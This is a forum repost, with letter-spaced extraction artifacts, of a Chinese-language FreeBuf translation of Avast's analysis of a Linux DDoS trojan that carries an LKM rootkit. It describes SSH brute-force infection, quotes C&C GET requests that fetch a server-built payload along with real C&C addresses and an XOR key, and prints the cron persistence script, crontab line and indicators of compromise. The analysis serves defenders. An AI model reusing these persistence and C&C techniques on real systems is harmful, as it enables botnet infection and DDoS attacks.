搜索

[8803] 2015-03-30_一款隐藏嵌入式Rookit的DDoS木马分析

文档创建者：s7ckTeam
浏览次数：32
最后更新：2025-01-17
2015-03-30_一款隐藏嵌入式Rookit的DDoS木马分析 一 款 隐 藏 嵌 入 式 R o o k i t 的 D D o S 木 马 分 析 F r e e B u f   2 0 1 5 - 0 3 - 3 0 微 信 号 ： 微 信 号 ： f r e e b u f 该 款 木 马 分 析 文 章 在 2 0 1 5 年 由 @ P E T E R   K Á L N A I   最 先 发 表 于 A V A S T 的 公 开 b l o g 中 ， 木 马 的 架 构 严 谨 ， 设 计 精 良 ， 应 该 是 产 业 化 的 一 部 分 。 接 下 来 我 们 就 来 看 一 下 这 款 木 马 的 具 体 的 感 染 ， 命 令 执 行 和 持 久 化 的 思 路 ， 希 望 能 给 我 们 搞 防 御 的 小 伙 伴 扩 充 一 点 防 御 思 路 。 安 装 脚 本 安 装 脚 本 & 感 染 媒 介 感 染 媒 介 木 马 的 最 初 感 染 方 式 十 分 传 （ 木 马 的 最 初 感 染 方 式 十 分 传 （ d o u ） 统 （ ） 统 （ b i ） ， 他 是 通 过 暴 力 登 录 ） ， 他 是 通 过 暴 力 登 录 S S H 服 务 获 取 服 务 获 取 r o o t 权 限 的 方 式 来 成 功 搞 下 感 染 体 的 权 限 的 方 式 来 成 功 搞 下 感 染 体 的 （ 这 里 就 体 现 了 一 个 高 质 量 的 字 典 的 重 要 程 度 了 ） 。 （ 这 里 就 体 现 了 一 个 高 质 量 的 字 典 的 重 要 程 度 了 ） 。 成 功 拿 下 r o o t 权 限 之 后 ， 攻 击 者 就 会 向 目 标 机 器 通 过 s h e l l 的 方 式 利 用 脚 本 传 递 执 行 安 装 一 个 木 马 。 这 个 脚 本 文 件 主 要 包 括 一 些 程 序 如 m a i n ,   c h e c k ,   c o m p i l e r ,   u n c o m p r e s s ,   s e t u p ,   g e n e r a t e ,   u p l o a d , c h e c k b u i l d 和 一 些 变 量 如   _ _ h o s t _ 3 2 _ _ ,   _ _ h o s t _ 6 4 _ _ ,   _ _ k e r n e l _ _ ,   _ _ r e m o t e _ _ 等 。 主 程 序 的 作 用 是 根 据 感 染 目 标 机 器 的 系 统 开 发 版 本 加 密 传 输 并 且 选 择 C & C 服 务 器 。 在 下 面 的 请 求 中 ， i i d 参 数 传 递 的 是 内 核 版 本 名 称 的 M D 5 哈 希 。 脚 本 首 先 用 l s m o d 命 令 列 本 机 所 有 的 模 块 信 息 ， 然 后 ， 提 取 名 称 和 v e r m a g i c 字 段 。 在 我 们 测 试 的 环 境 中 ， 被 测 试 的 环 境 是 “ 3 . 8 . 0 - 1 9 - g e n e r i c   S M P   m o d _ u n l o a d   m o d v e r s i o n s   6 8 6   ” ， 对 应 的 M D 5 是 C E 7 4 B F 6 2 A C F E 9 4 4 B 2 1 6 7 2 4 8 D D 0 6 7 4 9 7 7 。 接 下 来 ， 就 有 三 个 G E T 请 求 被 发 送 到 C & C 服 务 器 上 。 第 一 个 是 表 明 目 标 机 器 运 行 的 操 作 系 统 的 信 息 ： r e q u e s t : G E T   / c h e c k ? i i d = C E 7 4 B F 6 2 A C F E 9 4 4 B 2 1 6 7 2 4 8 D D 0 6 7 4 9 7 7 & k e r n e l = 3 . 8 . 0 r e p l y : 1 0 0 1 | C E 7 4 B F 6 2 A C F E 9 4 4 B 2 1 6 7 2 4 8 D D 0 6 7 4 9 7 7 | h e a d e r   d i r e c t o r y   i s   e x i s t s ! 然 后 ， c o m p i l e r 程 序 会 发 送 第 二 个 G E T 请 求 : 请 求 中 包 括 的 字 段 我 们 猜 测 应 该 有 C & C 服 务 器 ， 版 本 信 息 等 ， 通 过 这 个 带 有 本 机 特 定 版 本 信 息 的 请 求 ， 服 务 器 可 以 据 此 生 成 一 个 可 执 行 程 序 ： r e q u e s t : G E T   / c o m p i l e r ? i i d = C E 7 4 B F 6 2 A C F E 9 4 4 B 2 1 6 7 2 4 8 D D 0 6 7 4 9 7 7 & u s e r n a m e = a d m i n & p a s s w o r d = a d m i n & i p = 1 0 3 . 2 5 . 9 . 2 4 5 : 8 0 0 5 % 7 C 1 0 3 . 2 4 0 . 1 4 1 . 5 0 : 8 0 0 5 % 7 C 6 6 . 1 0 2 . 2 5 3 . 3 0 : 8 0 0 5 % 7 C n d n s . d s a j 2 a 1 . o r g : 8 0 0 5 % 7 C n d n s . d s a j 2 a . o r g : 8 0 0 5 % 7 C n d n s . h c x i a o a o . c o m : 8 0 0 5 % 7 C n d n s . d s a j 2 a . c o m : 8 0 0 5
& v e r = 3 . 8 . 0 - 1 9 - g e n e r i c % 5 C % 2 0 S M P % 5 C % 2 0 m o d _ u n l o a d % 5 C % 2 0 m o d v e r s i o n s % 5 C % 2 0 6 8 6 % 5 C % 2 0 & k e r n e l = 3 . 8 . 0 r e p l y : 1 0 0 1 | C E 7 4 B F 6 2 A C F E 9 4 4 B 2 1 6 7 2 4 8 D D 0 6 7 4 9 7 7 | h e a d e r   d i r e c t o r y   i s   e x i s t s ! 第 三 个 G E T 请 求 则 是 下 载 上 一 个 请 求 之 后 服 务 器 生 成 的 木 马 的 二 进 制 文 件 ， 请 求 的 方 式 已 经 非 常 明 显 了 ， 看 包 ： r e q u e s t : G E T   / u p l o a d / m o d u l e / C E 7 4 B F 6 2 A C F E 9 4 4 B 2 1 6 7 2 4 8 D D 0 6 7 4 9 7 7 / b u i l d . t g z r e p l y : 1 0 0 1 | C E 7 4 B F 6 2 A C F E 9 4 4 B 2 1 6 7 2 4 8 D D 0 6 7 4 9 7 7 | c r e a t e   o k 而 以 上 的 三 个 步 骤 仅 仅 是 针 对 于 感 染 机 器 的 当 前 系 统 版 本 已 经 包 含 在 远 端 服 务 器 中 的 情 况 。 如 果 当 然 的 操 作 系 统 版 本 信 息 并 没 有 包 含 其 中 ， 那 么 脚 本 文 件 则 会 首 先 定 位 到 内 核 头 文 件 的 / l i b / m o d u l e s / % s / b u i l d / 目 录 中 （ s % 代 表 u n a m e 命 令 返 回 的 特 定 信 息 ） ， 然 后 将 内 核 文 件 打 包 并 上 传 到 C & C 服 务 器 上 ， 这 里 上 传 是 用 的 m i n i 这 个 程 序 。 当 然 ， 对 于 一 个 产 业 化 的 木 马 来 说 ， 这 种 情 况 是 不 多 见 的 ， 一 般 的 发 行 版 本 的 内 核 都 是 已 经 被 提 前 编 译 好 的 ， 这 里 所 提 及 的 操 作 系 统 的 内 核 信 息 不 在 C & C 服 务 器 中 的 情 况 大 多 是 比 较 特 殊 的 服 务 器 。 该 r o o t k i t 组 件 是 一 个 可 装 载 的 内 核 模 块 （ L K M ） 。 在 装 载 之 前 ， 需 要 通 过 v e r m a g i c 的 值 检 查 。 如 果 绕 过 检 查 失 败 ， 则 该 脚 本 会 安 装 一 个 木 马 来 替 代 r o o t k i t 组 件 。 结 构 和 可 持 续 性 结 构 和 可 持 续 性 主 程 序 的 二 进 制 结 构 如 下 图 所 示 ： 该 木 马 的 持 续 化 的 方 式 是 通 过 多 种 方 式 进 行 的 。 首 先 ， 它 将 自 己 安 装 在 / b o o t / 目 录 下 ， 然 后 命 名 为 一 个 包 含 1 0 个 字 节 的 字 符 串 。 然 后 脚 本 将 木 马 以 相 同 的 名 字 在 / e t c / i n i t . d /   目 录 下 创 建 ， 同 时 在 / e t c / r c % u . d / S 9 0 % s 目 录 建 立 五 个 符 号 链 接 ， 其 中 u % 是 1 - 5 ， s % 是 一 个 随 机 值 。 这 样 保 证 每 次 重 启 系 统 木 马 可 以 随 时 启 动 起 来 。 而 且 ， 脚 本 还 会 对 / e t c / c r o n . h o u r l y / c r o n . s h 文 件 加 入 以 下 内 容 ： # ! / b i n / s h P A T H = / b i n : / s b i n : / u s r / b i n : / u s r / s b i n : / u s r / l o c a l / b i n : / u s r / l o c a l / s b i n : / u s r / X 1 1 R 6 / b i n ’ f o r   i   i n   ` c a t   / p r o c / n e t / d e v | g r e p   : | a w k   - F :   { ‘ , 2 7 h , ’ p r i n t   $ 1 ′ , 2 7 h , ’ } ` ;   d o   i f c o n f i g   $ i   u p &   d o n e c p   / l i b / u d e v / u d e v   / l i b / u d e v / d e b u g / l i b / u d e v / d e b u g
最 后 在 c r o n t a b 中 插 入 一 行 代 码 “ * / 3   *   *   *   *   r o o t   / e t c / c r o n . h o u r l y / c r o n . s h ” 主 程 序 主 要 有 三 个 任 务 ， 而 且 这 三 个 任 务 是 无 限 循 环 执 行 的 ： 1 、 下 载 并 执 行 机 器 的 配 置 文 件 ； 2 、 将 自 身 重 装 到 / l i b / u d e v / u d e v 的 文 件 ； 3 、 进 行 洪 水 攻 击 其 中 配 置 文 件 主 要 包 含 接 下 来 四 个 类 型 ： m d 5 ， d e n y i p ， f i l e n a m e 和 r m f i l e 。 主 程 序 分 别 用 这 四 个 列 表 内 容 来 进 行 下 一 步 的 动 作 ： 根 据 m d 5 值 匹 配 一 个 运 行 进 程 的 C R C 的 校 验 值 ， 匹 配 则 将 其 杀 死 ； 根 据 i p 值 来 激 活 一 个 会 话 ； 根 据 f i l e n a m e 值 和 r m f i l e 值 来 确 定 执 行 或 者 最 后 删 除 一 个 确 定 的 文 件 。 下 图 就 展 示 了 部 分 配 置 文 件 的 内 容 （ 已 知 的 竞 争 泛 滥 的 木 马 文 件 名 被 高 亮 显 示 ） ： 在 进 行 自 身 安 装 之 前 先 把 其 他 的 木 马 清 除 是 一 个 洪 水 木 马 的 典 型 特 征 （ 你 丫 跟 老 子 争 地 盘 不 干 你 干 谁 ） 。 除 此 之 外 ， 我 们 还 注 意 到 ， 这 个 木 马 还 是 一 个 A R M 架 构 木 马 的 变 种 。 这 表 明 潜 在 的 受 感 染 系 统 的 列 表 （ 除 3 2 位 和 6 4 位 的 L i n u x   W e b 服 务 器 外 ） 还 有 可 能 扩 展 到 路 由 器 或 者 网 络 上 的 其 他 可 能 运 行 * n i x 的 设 备 上 ， 不 过 这 也 只 是 一 种 可 能 性 ， 目 前 根 据 监 测 还 未 在 其 他 平 台 发 现 过 此 类 木 马 。 木 马 还 包 含 一 个 d a e m o n d o w n 的 功 能 ， 专 门 处 理 进 行 文 件 下 载 运 行 工 作 ： 在 此 之 前 ， 我 们 曾 截 获 过 一 个 该 木 马 的 3 2 位 变 种 ， 变 种 木 马 有 了 一 些 差 异 。 木 马 文 件 安 装 为 / l i b / l i b g c c 4 . s o 文 件 ， 含 有 辨 识 字 符 串 （ 见 下 文 ） 的 唯 一 的 文 件 是 / v a r / r u n / u d e v . p i d 。 安 装 的 脚 本 文 件 则 在   / e t c / c r o n . h o u r l y / u d e v . s h ， 并 且 r o o t k i t 特 性 被 完 全 移 除 。 所 有 的 这 些 文 件 就 是 攻 陷 指 标 （ I o C ） 。 L K M   R o o t k i t W i n d o w s 平 台 木 马 使 用 各 种 各 样 的 r o o t k i t 功 能 来 实 现 自 身 目 的 已 经 很 长 时 间 了 。 这 些 木 马 之 中 就 有 不 少 是 用 来 进 行 洪 水 攻 击 的 （ 从 2 0 0 6 年 开 始 ， 各 种 此 类 木 马 的 源 代 码 已 经 陆 续 公 开 ） ， 在 之 前 B o t c o n f   2 0 1 4 时 ， 我 们 就 提 交 过 一 份 关 于 此 类 木 马 的 分
析 报 告 ： 《 中 国 鸡 ： 雄 鸡 中 的 战 斗 鸡 》 （ 《 中 国 肉 鸡 ： 多 平 台 D D o S 僵 尸 网 络 》 ） ， 在 这 篇 报 告 中 ， 老 外 详 细 分 析 了 一 款 国 产 木 马 ， 墙 裂 建 议 阅 读 。 而 我 们 目 前 分 析 的 这 款 木 马 主 要 功 能 就 是 在 实 现 目 的 的 同 时 隐 藏 自 身 的 行 踪 ： 木 马 会 创 建 一 个   r s _ d e v 进 程 来 检 查 r o o t k i t ， 并 且 通 过 i o c t l 函 数 来 调 用 这 些 请 求 。 请 求 包 含 两 个 参 数 ： 一 个 是 r o o t k i t 执 行 任 务 的 值 ， 另 一 个 则 是 需 要 隐 藏 的 端 口 的 值 。 下 面 是 一 个 木 马 隐 藏 T C P 连 接 的 实 例 （ 注 意 任 务 序 列 值 为 3 ） ： 我 们 从 木 马 的 名 称 来 猜 测 ， 极 有 可 能 木 马 的 作 者 是 受 到 开 源 项 目 S u t e r u s u （ h t t p s : / / g i t h u b . c o m / m n c o p p o l a / s u t e r u s u ） 的 启 发 ， 而 且 还 借 鉴 了 部 分 该 项 目 的 代 码 （ 进 程 注 入 部 分 ） 。 该 项 目 的 描 述 是 这 么 说 的 ： 针 对 于   L i n u x   2 . 6 / 3 . x   o n   x 8 6 ( _ 6 4 ) ,   a n d   A R M 平 台 的 L K M   r o o t k i t 。 关 于 该 项 目 的 的 分 析 可 以 戳 这 里 ： h t t p : / / p o p p o p r e t . o r g / 2 0 1 3 / 0 1 / 0 7 / s u t e r u s u - r o o t k i t - i n l i n e - k e r n e l - f u n c t i o n - h o o k i n g - o n - x 8 6 - a n d - a r m / C & C 通 信 分 析 通 信 分 析 通 信 是 双 向 加 密 的 ， 使 用 的 是 相 同 的 X O R 加 密 方 式 的 硬 编 码 方 式 ， 秘 钥 为 B B 2 F A 3 6 A A A 9 5 4 1 F 0 。 通 信 过 程 中 ， / v a r / r u n / s f t p . p i d 文 件 中 包 含 一 个 唯 一 的 长 度 为 3 2 位 的 字 符 串 以 识 别 不 同 的 僵 尸 机 器 。 下 图 是 一 个 C & C 通 信 的 命 令 列 表 ，
我 们 可 以 看 到 僵 尸 机 器 所 监 听 的 命 令 ： 开 始 洪 水 攻 击 ， 结 束 洪 水 攻 击 ， 下 载 文 件 ， 更 新 升 级 ， 发 送 进 程 m d 5 值 ， 杀 死 指 定 进 程 在 s h e l l 脚 本 中 ， C & C 服 务 器 列 表 是 存 储 在 一 个 _ _ r e m o t e _ _ 变 量 中 的 ， 该 木 马 首 先 将 运 行 系 统 的 参 数 发 送 给 C & C 服 务 器 ， 而 回 复 则 是 以 一 个 命 令 的 形 式 返 回 的 。 命 令 的 报 头 是 一 个 长 度 为 0 x 1 C 的 字 符 串 ， 该 字 符 串 存 储 于 H e a d e r 变 量 中 。 第 一 个 命 令 首 先 是 停 止 所 有 攻 击 ， 同 时 下 达 一 个 列 表 中 的 命 令 （ 命 令 重 置 ） 。 下 图 表 示 了 整 个 命 令 ， 其 中 高 亮 圈 出 来 的 分 别 是 ： 返 回 命 令 总 长 度 （ 0 x 1 0 2 C ） ， 任 务 序 列 值 （ 0 x 3 ， 这 里 对 照 上 面 的 列 表 知 道 是 _ c m d _ s t a r t ） 和 洪 水 任 务 值 （ 0 x F ） ： 命 令 剩 下 的 部 分 包 含 了 一 个 加 密 结 构 的 攻 击 任 务 。 对 字 符 串 解 密 之 后 ， 我 们 可 以 看 到 这 中 间 有 I P 地 址 （ 红 色 ） ， 待 攻 击 的 端 口 （ 绿 色 ） ， 攻 击 类 型 （ 灰 色 ， S Y N / D N S ） 消 息 来 源 a v a s t   ， F r e e B u f 小 编 / x i a 0 k   转 载 请 注 明 F r e e B u f . C O M
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理